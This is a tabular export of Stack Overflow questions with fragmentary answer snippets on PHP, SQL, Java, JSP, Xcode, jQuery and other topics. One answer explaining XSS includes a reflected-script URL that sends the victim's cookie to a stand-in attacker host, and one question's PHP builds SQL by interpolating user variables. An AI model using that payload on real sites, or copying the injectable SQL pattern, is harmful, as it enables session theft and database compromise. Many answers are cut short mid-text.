qid
int64
4
22.2M
question
stringlengths
18
48.3k
answers
list
date
stringlengths
10
10
metadata
list
239,136
<p>Using PHP, what's the fastest way to convert a string like this: <code>"123"</code> to an integer?</p> <p>Why is that particular method the fastest? What happens if it gets unexpected input, such as <code>"hello"</code> or an array?</p>
[ { "answer_id": 239173, "author": "nickf", "author_id": 9021, "author_profile": "https://Stackoverflow.com/users/9021", "pm_score": 10, "selected": true, "text": "Function time to run 1 million iterations\n--------------------------------------------\n(int) \"123\": ...
2008/10/27
[ "https://Stackoverflow.com/questions/239136", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9021/" ]
239,139
<p>Is there a way in <em>Xcode</em> to sort my list of files under say the Classes folder Alphabetically?</p> <p>I know I can drag them around, but with tons of files that is a pain.</p> <p>I am surprised I can not right click on the folder and say to sort.</p>
[ { "answer_id": 5529592, "author": "jedediah", "author_id": 6342, "author_profile": "https://Stackoverflow.com/users/6342", "pm_score": 2, "selected": false, "text": "ruby sort.rb <infile> <outfile>\n" }, { "answer_id": 9517883, "author": "Cœur", "author_id": 1033581, ...
2008/10/27
[ "https://Stackoverflow.com/questions/239139", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26728/" ]
239,147
<p>I am a complete JSP beginner. I am trying to use a <code>java.util.List</code> in a JSP page. What do I need to do to use classes other than ones in <code>java.lang</code>?</p>
[ { "answer_id": 239199, "author": "Axeman", "author_id": 11289, "author_profile": "https://Stackoverflow.com/users/11289", "pm_score": 4, "selected": false, "text": "<%@ page import=\"java.util.List\" %>\n" }, { "answer_id": 239293, "author": "Sandman", "author_id": 19911,...
2008/10/27
[ "https://Stackoverflow.com/questions/239147", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2598/" ]
239,171
<p>I have sets of 5, 6 and 7 digit numbers. I need them to be displayed in the 000/000/000 format. So for example: </p> <p>12345 would be displayed as 000/012/345 </p> <p>and </p> <p>9876543 would be displayed as 009/876/543</p> <p>I know how to do this in a messy way, involving a series of if/else statements, and strlen functions, but there has to be a cleaner way involving regex that Im not seeing.</p>
[ { "answer_id": 239176, "author": "Adam Pierce", "author_id": 5324, "author_profile": "https://Stackoverflow.com/users/5324", "pm_score": 5, "selected": true, "text": "function formatMyNumber($num)\n{\n return sprintf('%03d/%03d/%03d',\n $num / 1000000,\n ...
2008/10/27
[ "https://Stackoverflow.com/questions/239171", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,193
<p>I currently have a Visual Studio solution with 8 web applications. When I try run one of these applications, 8 instances of the Casini Web Development Servers are launched.</p> <p>Is there anyway to specify that only the web application I have set as startup project will be launched and not all 8.</p> <p>I am using Visual Studio 2008</p> <p>Thanks</p>
[ { "answer_id": 2142925, "author": "flashnik", "author_id": 217786, "author_profile": "https://Stackoverflow.com/users/217786", "pm_score": 1, "selected": false, "text": "Always start when debugging" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239193", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15360/" ]
239,194
<p>Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.</p>
[ { "answer_id": 239212, "author": "Christian C. Salvadó", "author_id": 5445, "author_profile": "https://Stackoverflow.com/users/5445", "pm_score": 5, "selected": false, "text": "http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata=...
2008/10/27
[ "https://Stackoverflow.com/questions/239194", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,202
<p>During execution, how can a java program tell how much memory it is using?</p> <p>I don't care how efficient it is!</p>
[ { "answer_id": 239242, "author": "mcjabberz", "author_id": 30323, "author_profile": "https://Stackoverflow.com/users/30323", "pm_score": 2, "selected": false, "text": "Runtime.getRuntime.freeMemory()" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239202", "https://Stackoverflow.com", "https://Stackoverflow.com/users/939/" ]
239,207
<p>Do they set <code>display: none</code> or <code>visibility: hidden</code>?</p> <p>I'm pretty sure <code>display: none</code> takes the element out of the normal flow, whilst <code>visibility: hidden</code> just hides the element but still has a reserved space for it.</p> <p>Should I just go download the unpacked version and study it or does someone have a quick answer?</p>
[ { "answer_id": 239216, "author": "eyelidlessness", "author_id": 17964, "author_profile": "https://Stackoverflow.com/users/17964", "pm_score": 7, "selected": true, "text": "display" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239207", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31671/" ]
239,226
<p>An old Direct3D book says </p> <blockquote> <p>"...you can achieve an acceptable frame rate with hardware acceleration while displaying between 2000 and 4000 polygons per frame..."</p> </blockquote> <p>What is one polygon in Direct3D? Do they mean one primitive (indexed or otherwise) or one triangle?</p>
[ { "answer_id": 239229, "author": "David Segonds", "author_id": 13673, "author_profile": "https://Stackoverflow.com/users/13673", "pm_score": 2, "selected": false, "text": "public static Mesh Polygon(\n Device device,\n float length,\n int sides\n)\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239226", "https://Stackoverflow.com", "https://Stackoverflow.com/users/45603/" ]
239,232
<p>In our application we enable users to print pages. We do this by supplying a button which when click calls the window.print() function.<br> Some of the pages would look better if they were printed in landscape mode rather than portrait. Is there a way to control the page layout from JavaScript? </p> <p>Update: Following the advice given here I looked for "css landscape" in google, and found the <a href="http://www.tek-tips.com/faqs.cfm?fid=5803" rel="noreferrer">following article</a> that showed ways of css-ly defining landscape:</p>
[ { "answer_id": 239234, "author": "da5id", "author_id": 14979, "author_profile": "https://Stackoverflow.com/users/14979", "pm_score": 2, "selected": false, "text": "<style type=\"text/css\" media=\"print\">@import url(\"/inc/web.print.css\");</style>\n" }, { "answer_id": 239238, ...
2008/10/27
[ "https://Stackoverflow.com/questions/239232", "https://Stackoverflow.com", "https://Stackoverflow.com/users/278/" ]
239,258
<p>Imagine you got an entity in the Google App Engine datastore, storing links for anonymous users. You would like to perform the following SQL query, which is not supported:</p> <pre><code>SELECT DISTINCT user_hash FROM links </code></pre> <p>Instead you could use:</p> <pre><code>user = db.GqlQuery("SELECT user_hash FROM links") </code></pre> <p>How to use Python <strong>most efficiently</strong> to filter the result, so it returns a DISTINCT result set? How to count the DISTINCT result set?</p>
[ { "answer_id": 239305, "author": "James Bennett", "author_id": 28070, "author_profile": "https://Stackoverflow.com/users/28070", "pm_score": 1, "selected": false, "text": "unique_results = []\nfor obj in user:\n if obj not in unique_results:\n unique_results.append(obj)\n" },...
2008/10/27
[ "https://Stackoverflow.com/questions/239258", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26763/" ]
239,263
<p>Is there a mandatory relationship between a Controller Action and a View? I mean is it necessary to have a physical View (.aspx page) for each Action inside a Controller class?</p>
[ { "answer_id": 239524, "author": "Dan Atkinson", "author_id": 31532, "author_profile": "https://Stackoverflow.com/users/31532", "pm_score": 2, "selected": false, "text": "public ContentResult Index()\n{\n return Content(\"Foobar!\");\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239263", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27946/" ]
239,264
<p>Does anyone have a copy of MSIINV.EXE (The MSI Inventory tool)? The site where it used to be available is down(<a href="http://www.huydao.net/" rel="nofollow noreferrer">http://www.huydao.net/</a>). I'm trying to uninstall some components in order to force the Visual Studio Setup to reinstall them. I apologize as this is not strictly a programming question but I figured anyone that has installed some of the Visual Studio beta stuff may have run into this problem as well.</p>
[ { "answer_id": 52228225, "author": "Matthew Wetmore", "author_id": 7102111, "author_profile": "https://Stackoverflow.com/users/7102111", "pm_score": 3, "selected": false, "text": "msiinv.exe -p" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239264", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3927/" ]
239,275
<p>Let's say I have the following table:</p> <pre><code>CustomerID ParentID Name ========== ======== ==== 1 null John 2 1 James 3 2 Jenna 4 3 Jennifer 5 3 Peter 6 5 Alice 7 5 Steve 8 1 Larry </code></pre> <p>I want to retrieve in one query all the descendants of James (Jenna,Jennifer,Peter, Alice, Steve). Thanks, Pablo.</p>
[ { "answer_id": 239283, "author": "Jasper Bekkers", "author_id": 31486, "author_profile": "https://Stackoverflow.com/users/31486", "pm_score": 0, "selected": false, "text": "CREATE TABLE objects(\n id SERIAL PRIMARY KEY,\n name TEXT,\n lft INT,\n rgt INT\n);\n\nINSERT INTO obj...
2008/10/27
[ "https://Stackoverflow.com/questions/239275", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30729/" ]
239,278
<p>I have database with many tables. In the first table, I have a field called <code>status</code>.</p> <pre><code>table 1 idno name status 111 hjghf yes 225 hjgjj no 345 hgj yes </code></pre> <p>Other tables could have same <code>idno</code> with different fields.</p> <p>I want to check the status for each id no and if it is yes then for that id number in all tables for all null and blank fields I want to update them as 111111.</p> <p>I am looking for a sample vba code for this which I can adapt.</p> <p>Thanks</p>
[ { "answer_id": 241191, "author": "Fionnuala", "author_id": 2548, "author_profile": "https://Stackoverflow.com/users/2548", "pm_score": -1, "selected": true, "text": "Sub UpdateNulls()\nDim strSQL As String\nDim rs As DAO.Recordset\nFor Each tdf In CurrentDb.TableDefs\n If Left(tdf.Nam...
2008/10/27
[ "https://Stackoverflow.com/questions/239278", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31132/" ]
239,301
<p>Is there in Ruby some functionality/syntax to compare two floats with delta? Something similar to <em>assert_in_delta(expected_float, actual_float, delta)</em> from <em>test/unit</em> but returning Boolean?</p>
[ { "answer_id": 239314, "author": "ysth", "author_id": 17389, "author_profile": "https://Stackoverflow.com/users/17389", "pm_score": 6, "selected": true, "text": "(expected_float - actual_float).abs <= delta\n" }, { "answer_id": 31553495, "author": "cvkline", "author_id": ...
2008/10/27
[ "https://Stackoverflow.com/questions/239301", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31726/" ]
239,302
<p>I usually never see test for new in C++ and I was wondering why.</p> <p><code>Foo *f = new Foo;</code></p> <p><code>// f is assumed as allocated, why usually, nobody test the return of new?</code></p>
[ { "answer_id": 239307, "author": "David Holm", "author_id": 22247, "author_profile": "https://Stackoverflow.com/users/22247", "pm_score": 7, "selected": true, "text": "Foo* foo = new (std::nothrow) Foo;\n" }, { "answer_id": 239597, "author": "n-alexander", "author_id": 23...
2008/10/27
[ "https://Stackoverflow.com/questions/239302", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25888/" ]
239,306
<p>I have a Request object which contains a list of Approvers. An approver has a name and an approval position.</p> <ol> <li>Mathew </li> <li>Mark </li> <li>Luke </li> <li>John</li> </ol> <p>Ultimately, a request will move through this chain, starting at Mathew and ended at John.</p> <p>I need to be able to re-order these allowing adds and deletes as outlined below.</p> <p>An approver can be -</p> <p>Added at a certain position - ie. Add Peter at position 3 in which case the new order would be</p> <ol> <li>Mathew </li> <li>Mark </li> <li>Peter</li> <li>Luke </li> <li>John</li> </ol> <p>Delete - ie. Delete Mark in which case the new order is</p> <ol> <li>Mathew </li> <li>Luke </li> <li>John</li> </ol> <p>Edited - ie you can change John's position to 1 in which case the new order is</p> <ol> <li>John</li> <li>Mathew </li> <li>Mark </li> <li>Luke </li> </ol> <p>I have come up with a number of solutions, however none of them is particular elegant.</p> <p>Any help would be much appreciated</p>
[ { "answer_id": 239313, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": false, "text": "List<T>" }, { "answer_id": 239316, "author": "Jon Skeet", "author_id": 22656, "author_profile": "...
2008/10/27
[ "https://Stackoverflow.com/questions/239306", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,340
<p>Does anybody know a way to recursively remove all files in a working copy that are not under version control? (I need this to get more reliable results in my automatic build VMware.)</p>
[ { "answer_id": 239351, "author": "Thomas Watnedal", "author_id": 4059, "author_profile": "https://Stackoverflow.com/users/4059", "pm_score": 6, "selected": true, "text": "svn cleanup --remove-unversioned\n" }, { "answer_id": 239358, "author": "Ken", "author_id": 20074, ...
2008/10/27
[ "https://Stackoverflow.com/questions/239340", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6358/" ]
239,344
<p>I want your suggestion on the following pseudo-code. Please suggest how could I improve it, whether or not I could use some design patterns.</p> <pre><code> // i'm receiving a string containing : id operation arguments data = read(socket); tokens = tokenize(data," "); // tokenize the string based on spaces if(tokens[0] == "A") { if(tokens[1] == "some_operation") { // here goes code for some_operation , will use the remaining tokens as arguments for function calls } else if(tokens[1] == "some_other_operation") { // here goes code for some_other_operation , will use the remaining tokens } ... else { // unknown operation } } else if(tokens[0] == "B") { if(tokens[1] == "some_operation_for_B") { // do some operation for B } else if(tokens[1] == "yet_another_operation") { // do yet_another_operation for B } ... else { // unknown operation } } </code></pre> <p>I hope you get the point . The thing is I have a large number of <strong>id's</strong> and each has it's own <strong>operations</strong> , and I think it's kinda ugly to have 10 screens of code containing a lot of <strong>if's</strong> and <strong>else if's</strong>.</p>
[ { "answer_id": 239348, "author": "Epaga", "author_id": 6583, "author_profile": "https://Stackoverflow.com/users/6583", "pm_score": 5, "selected": true, "text": "StrategyFactory.GetStrategy(tokens[0]).parse(tokens[1..n])" }, { "answer_id": 239360, "author": "Cheery", "auth...
2008/10/27
[ "https://Stackoverflow.com/questions/239344", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31610/" ]
239,385
<p>I know that LDAP is used to provide some information and to help facilitate authorization. </p> <p>But what are the other usages of LDAP? </p>
[ { "answer_id": 30617350, "author": "Nitin Pawar", "author_id": 4915436, "author_profile": "https://Stackoverflow.com/users/4915436", "pm_score": 5, "selected": false, "text": "cn" }, { "answer_id": 73725266, "author": "Yilmaz", "author_id": 10262805, "author_profile":...
2008/10/27
[ "https://Stackoverflow.com/questions/239385", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,408
<p>I have a class with some abstract methods, but I want to be able to edit a subclass of that class in the designer. However, the designer can't edit the subclass unless it can create an instance of the parent class. So my plan is to replace the abstract methods with stubs and mark them as virtual - but then if I make another subclass, I won't get a compile-time error if I forget to implement them.</p> <p>Is there a way to mark the methods so that they have to be implemented by subclasses, without marking them as abstract?</p>
[ { "answer_id": 239423, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 4, "selected": true, "text": "#if" }, { "answer_id": 240421, "author": "Curro", "author_id": 10688, "author_profile": "https://S...
2008/10/27
[ "https://Stackoverflow.com/questions/239408", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15371/" ]
239,414
<p>How do I insert a current_timestamp into an SQL Server 2005 database datable with a timestamp column?</p> <p>It should be simple but I cannot get it to work. Examples would be much appreciated.</p>
[ { "answer_id": 239426, "author": "robsoft", "author_id": 3897, "author_profile": "https://Stackoverflow.com/users/3897", "pm_score": 3, "selected": false, "text": "update MyTable set MyColumn=getdate();\n" }, { "answer_id": 239427, "author": "Vinko Vrsalovic", "author_id"...
2008/10/27
[ "https://Stackoverflow.com/questions/239414", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,424
<p>How does the event creation and handling work in Java Swing?</p>
[ { "answer_id": 239444, "author": "Midhat", "author_id": 9425, "author_profile": "https://Stackoverflow.com/users/9425", "pm_score": 3, "selected": false, "text": "IMessageListener listener;\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239424", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9095/" ]
239,425
<p>I have a WinForms C# application using a MS SQL Server Express database. The application is deployed on the PCs of our customers and they don't have computer related knowledge. </p> <p>The application updates the database regularly and I see a lot of fragmentation on the index files. How do I keep the database healthy/responsive over time? </p> <p>I was thinking about programming a stored procedure which reorganizes every index, but I lack t-sql skills; can someone lead me in the right direction? </p> <p>Bas</p>
[ { "answer_id": 1889097, "author": "Bas Jansen", "author_id": 1997188, "author_profile": "https://Stackoverflow.com/users/1997188", "pm_score": 1, "selected": true, "text": "SELECT \n st.object_id AS objectid,\n st.index_id AS indexid,\n partition_number AS partitionnum,\n avg...
2008/10/27
[ "https://Stackoverflow.com/questions/239425", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1997188/" ]
239,435
<p>I'm kinda stuck with this one so I hoped someone could help me.</p> <p>I am doing a Winforms application and I need to show a Modal Dialog (form.ShowDialog) that returns a value (prompts the User some values and wraps them in a Object). </p> <p>I just can't see how to do this rather than give a reference into the object or depending on some form of public Property to read the data afterwards. </p> <p>I'd just like to have ShowDialog return something different, but that doesn't work. Is thare some "good" way to do this? </p> <p>I'm sure the problem isn't new, but since almost nobody seems to do Winforms any more I can't find any guidance on the web.</p>
[ { "answer_id": 239449, "author": "Matt Hamilton", "author_id": 615, "author_profile": "https://Stackoverflow.com/users/615", "pm_score": 5, "selected": true, "text": "public class MyDialog : Form\n{\n // todo: think of a better method name :)\n public static MyObject ShowAndReturnO...
2008/10/27
[ "https://Stackoverflow.com/questions/239435", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21699/" ]
239,443
<p>I have these two <code>CREATE TABLE</code> statements: </p> <pre><code>CREATE TABLE GUEST ( id int(15) not null auto_increment PRIMARY KEY, GuestName char(25) not null ); CREATE TABLE PAYMENT ( id int(15) not null auto_increment Foreign Key(id) references GUEST(id), BillNr int(15) not null ); </code></pre> <p>What is the problem in the second statement? It did not create a new table.</p>
[ { "answer_id": 239620, "author": "Hapkido", "author_id": 27646, "author_profile": "https://Stackoverflow.com/users/27646", "pm_score": 3, "selected": false, "text": "CREATE TABLE GUEST(\n id int(15) not null auto_increment PRIMARY KEY, \n GuestName char(25) not null\n) ENGINE=INNO...
2008/10/27
[ "https://Stackoverflow.com/questions/239443", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17451/" ]
239,450
<p>I want to compare two ms-access .mdb files to check that the data they contain is same in both.</p> <p>How can I do this?</p>
[ { "answer_id": 239484, "author": "rwired", "author_id": 17492, "author_profile": "https://Stackoverflow.com/users/17492", "pm_score": -1, "selected": false, "text": "fc file1.mdb file2.mdb \n" }, { "answer_id": 241429, "author": "David-W-Fenton", "author_id": 9787, "a...
2008/10/27
[ "https://Stackoverflow.com/questions/239450", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6613/" ]
239,463
<p>I have an application that behaves oddly, and just to verify, I'd like to see which security zone it is currently running under.</p> <p>I've found the System.Security.SecurityZone enum, but can't seem to find anything that will return which of these I'm running under.</p> <p>Does anyone have any tips?</p> <p>Basically I want to find out if my application is running in MyComputer, Intranet, Internet, Untrusted, Trusted, etc.</p> <hr> <p><strong>Edit:</strong> Here's the minor test-app I wrote to find this code, thanks to <a href="https://stackoverflow.com/users/2525/blowdart">@blowdart</a>.</p> <pre><code>using System; using System.Reflection; namespace zone_check { class Program { static void Main(string[] args) { Console.WriteLine(".NET version: " + Environment.Version); foreach (Object ev in Assembly.GetExecutingAssembly().Evidence) { if (ev is System.Security.Policy.Zone) { System.Security.Policy.Zone zone = (System.Security.Policy.Zone)ev; Console.WriteLine("Security zone: " + zone.SecurityZone); break; } } } } } </code></pre>
[ { "answer_id": 13532405, "author": "thejaeck.net", "author_id": 1427893, "author_profile": "https://Stackoverflow.com/users/1427893", "pm_score": -1, "selected": false, "text": "Evidence e = Thread.CurrentThread.GetType().Assembly.Evidence;\n" }, { "answer_id": 19205682, "aut...
2008/10/27
[ "https://Stackoverflow.com/questions/239463", "https://Stackoverflow.com", "https://Stackoverflow.com/users/267/" ]
239,465
<p>I have a setup project for a .NET Service Application which uses a .NET component which exposes a COM interface (COM callable wrapper / CCW). To get the component working on a target machine, it has to be registered with</p> <blockquote> <p>regasm.exe /tlb /codebase component.dll</p> </blockquote> <p>The /tlb switch to generate the typelib is mandatory in this case, otherwise I can't create objects from that assembly.</p> <p>The question is, how can I configure my Visual Studio 2008 Setup-Project to register this assembly with a call to regasm /tlb ?</p>
[ { "answer_id": 1883517, "author": "Sean Gough", "author_id": 12842, "author_profile": "https://Stackoverflow.com/users/12842", "pm_score": 5, "selected": true, "text": "[System.Security.Permissions.SecurityPermission(System.Security.Permissions.SecurityAction.Demand)]\npublic override vo...
2008/10/27
[ "https://Stackoverflow.com/questions/239465", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25727/" ]
239,486
<p>I want to convert an XML document containing many elements within a node (around 150) into another XML document with a slightly different schema but mostly with the same element names. Now do I have to manually map each element/node between the 2 documents. For that I will have to hardcode 150 lines of mapping and element names. Something like this: </p> <pre><code>XElement newOrder = new XElement("Order"); newOrder.Add(new XElement("OrderId", (string)oldOrder.Element("OrderId")), newOrder.Add(new XElement("OrderName", (string)oldOrder.Element("OrderName")), ............... ............... ...............and so on </code></pre> <p>The newOrder document may contain additional nodes which will be set to null if nothing is found for them in the oldOrder. So do I have any other choice than to hardcode 150 element names like orderId, orderName and so on... Or is there some better more maintainable way?</p>
[ { "answer_id": 239997, "author": "Amy B", "author_id": 8155, "author_profile": "https://Stackoverflow.com/users/8155", "pm_score": 1, "selected": false, "text": "List<string> elementNames = GetElementNames();\n\nnewOrder.Add(\n elementNames\n .Select(name => GetElement(name, oldOrder...
2008/10/27
[ "https://Stackoverflow.com/questions/239486", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1688440/" ]
239,512
<p>Is http/1.0 able to handle deflated and gzip content? I've finished to implement deflate and gzip in my minimalist web server and I don't really know if browsers with http/1.0 are capable to handle deflate and gzip compressed content.</p>
[ { "answer_id": 240104, "author": "Mike Dimmick", "author_id": 6970, "author_profile": "https://Stackoverflow.com/users/6970", "pm_score": 2, "selected": false, "text": "deflate" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239512", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25888/" ]
239,522
<p>Is it possible to set the position of the tabs to be at the bottom of the tabcontainer using the AjaxToolkit? You do have some control over the CSS but I'm not au-fait enough with CSS to see whether it's feasible?</p> <p>Thanks</p>
[ { "answer_id": 240104, "author": "Mike Dimmick", "author_id": 6970, "author_profile": "https://Stackoverflow.com/users/6970", "pm_score": 2, "selected": false, "text": "deflate" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239522", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21299/" ]
239,526
<p>How do I truncate output in BASH? </p> <p>For example, if I "du file.name" how do I just get the numeric value and nothing more?</p> <p>later addition:<br> all solutions work perfectly. I chose to accept the most enlightning "cut" answer because I prefer the simplest approach in bash files others are supposed to be able to read.</p>
[ { "answer_id": 239530, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 3, "selected": false, "text": "du | cut -f 1\n" }, { "answer_id": 239532, "author": "Ken", "author_id": 20074, "author_profile": "htt...
2008/10/27
[ "https://Stackoverflow.com/questions/239526", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11813/" ]
239,537
<p>My Program overrides <code>public void paint(Graphics g, int x, int y);</code> in order to draw some stings using <code>g.drawString(someString, x+10, y+30);</code></p> <p>Now someString can be quite long and thus, it may not fit on one line.<br></p> <p>What is the best way to write the text on multiple line.<br> For instance, in a rectangle (x1, y1, x2, y2)?</p>
[ { "answer_id": 239539, "author": "Epaga", "author_id": 6583, "author_profile": "https://Stackoverflow.com/users/6583", "pm_score": 2, "selected": false, "text": " Graphics2D g = ...;\n Point2D loc = ...;\n Font font = Font.getFont(\"Helvetica-bold-italic\");\n FontRenderContext f...
2008/10/27
[ "https://Stackoverflow.com/questions/239537", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12860/" ]
239,543
<p>I want to set up a Subversion server installation on Windows Server 2003 64-bit and I'm considering using <a href="http://www.visualsvn.com/server/" rel="noreferrer">VisualSVN Server</a>. Does this work OK in a 64-bit environment? Are there any issues or gotchas I should be aware of before installing the software?</p> <p>Many thanks!</p>
[ { "answer_id": 4073743, "author": "Randall Flagg", "author_id": 463464, "author_profile": "https://Stackoverflow.com/users/463464", "pm_score": 1, "selected": false, "text": "sc create svnserver binpath= \"C:\\Program Files\\TortoiseSVN\\bin\\svnserve.exe --service -r D:\\SvnRepositories...
2008/10/27
[ "https://Stackoverflow.com/questions/239543", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3853/" ]
239,545
<p>I have a table that has a <code>processed_timestamp</code> column -- if a record has been processed then that field contains the datetime it was processed, otherwise it is null.</p> <p>I want to write a query that returns two rows:</p> <pre><code>NULL xx -- count of records with null timestamps NOT NULL yy -- count of records with non-null timestamps </code></pre> <p>Is that possible?</p> <p><strong>Update:</strong> The table is quite large, so efficiency is important. I could just run two queries to calculate each total separately, but I want to avoid hitting the table twice if I can avoid it.</p>
[ { "answer_id": 239548, "author": "Stefan Gehrig", "author_id": 11354, "author_profile": "https://Stackoverflow.com/users/11354", "pm_score": 6, "selected": false, "text": "SELECT \n IF(ISNULL(processed_timestamp), 'NULL', 'NOT NULL') as myfield, \n COUNT(*) \nFROM mytable \nGROUP B...
2008/10/27
[ "https://Stackoverflow.com/questions/239545", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6408/" ]
239,546
<pre><code>$sql = "INSERT INTO images (path, useremail, approved, flagged,caption,date) VALUES ('$target','$email',0,0, '$caption','$b')"; $sql1 = "INSERT INTO users (name, email, phone) VALUES ('$peoplename','$email','$phone')" $conn-&gt;execute($sql, $sql1); </code></pre> <p>Above is the code Ι am using to try and write to 2 tables. Before Ι introduced connection through the COM object Ι could do this not a problem but now Ι cannot do it for some reason. Any help would be appreciated.</p>
[ { "answer_id": 239563, "author": "Tom Haigh", "author_id": 22224, "author_profile": "https://Stackoverflow.com/users/22224", "pm_score": 3, "selected": false, "text": "$sql = \"INSERT INTO images (path, useremail, approved, flagged,caption,date) VALUES ('$target','$email',0,0, '$caption'...
2008/10/27
[ "https://Stackoverflow.com/questions/239546", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,556
<p>We are replacing the exception handling system in our app in order to conform to Vista certification, but the problem is how to force certain exceptions to be thrown, so that we can check the response.</p> <p>Unfortunately the whole app was written without taking into consideration proper layering, abstraction or isolation principles, and within the timeframe introducing mocking and unit testing is out of the question :(</p> <p>My idea is to introduce code which will throw a particular exception, either through a compiler directive or by respecting a value in the config file. We can then just run the app as normal and manually check how the exception is handled.</p> <p>Just thought I'd put it out there and see if the SO community can think of anything better!</p> <p>Cheers</p>
[ { "answer_id": 239559, "author": "Ben Collins", "author_id": 3279, "author_profile": "https://Stackoverflow.com/users/3279", "pm_score": 1, "selected": false, "text": "throw new Exception(\"test\");\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239556", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7140/" ]
239,560
<p>Actually <a href="https://stackoverflow.com/questions/564/what-is-the-difference-between-an-int-and-an-integer-in-javac">here</a> is a similar topic with little practical value. As far as I understand, primitives perform better and should be used everywhere except for the cases where Object-related features (e.g. <code>null</code> check) are needed. Right?</p>
[ { "answer_id": 239706, "author": "jb.", "author_id": 7918, "author_profile": "https://Stackoverflow.com/users/7918", "pm_score": 1, "selected": false, "text": " class Foo{\n int xxx = -1;\n ...\n }\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239560", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15187/" ]
239,567
<p>Is there any function that converts an escaped Url string to its unescaped form? <code>System.Web.HttpUtility.UrlDecode()</code> can do that job but I don't want to add a reference to <code>System.Web.dll</code>. Since my app is not a web application, I don't want to add a dependency for only using a function in an assembly.</p> <p><strong>UPDATE:</strong> Check <a href="http://www.west-wind.com/weblog/posts/617930.aspx" rel="noreferrer">Rick Strahl's blog post</a> about the same issue.</p>
[ { "answer_id": 239695, "author": "Igal Tabachnik", "author_id": 8205, "author_profile": "https://Stackoverflow.com/users/8205", "pm_score": 7, "selected": true, "text": "Uri.UnescapeDataString()" }, { "answer_id": 8249125, "author": "DaveCS", "author_id": 200731, "aut...
2008/10/27
[ "https://Stackoverflow.com/questions/239567", "https://Stackoverflow.com", "https://Stackoverflow.com/users/39/" ]
239,588
<p>I have a C++ STL set with a custom ordering defined.</p> <p>The idea was that when items get added to the set, they're naturally ordered as I want them.</p> <p>However, what I've just realised is that the ordering predicate can change as time goes by.</p> <p>Presumably, the items in the set will then no longer be in order.</p> <p>So two questions really:</p> <ol> <li><p>Is it harmful that the items would then be out of order? Am I right in saying that the worst that can happen is that new entries may get put into the wrong place (which actually I can live with). Or, could this cause crashes, lost entries etc?</p></li> <li><p>Is there a way to "refresh" the ordering of the set? You can't seem to use std::sort() on a set. The best I can come up with is dumping out the contents to a temp container and re-add them.</p></li> </ol> <p>Any ideas?</p> <p>Thanks, </p> <p>John</p>
[ { "answer_id": 239621, "author": "Motti", "author_id": 3848, "author_profile": "https://Stackoverflow.com/users/3848", "pm_score": 1, "selected": false, "text": "set" }, { "answer_id": 239627, "author": "xtofl", "author_id": 6610, "author_profile": "https://Stackoverf...
2008/10/27
[ "https://Stackoverflow.com/questions/239588", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31760/" ]
239,601
<p>How would you model booked hotel room to guests relationship (in PostgreSQL, if it matters)? A room can have several guests, but at least one.</p> <p>Sure, one can relate guests to bookings with a foreign key <code>booking_id</code>. But how do you enforce on the DBMS level that a room must have at least one guest?</p> <p>May be it's just impossible?</p>
[ { "answer_id": 239618, "author": "Ed Guiness", "author_id": 4200, "author_profile": "https://Stackoverflow.com/users/4200", "pm_score": 2, "selected": false, "text": "BOOKING\n-------\nbooking id\nroom id\nguest id (FK to table of guests for booking)\nfirst date of occupancy\nlast date o...
2008/10/27
[ "https://Stackoverflow.com/questions/239601", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6430/" ]
239,622
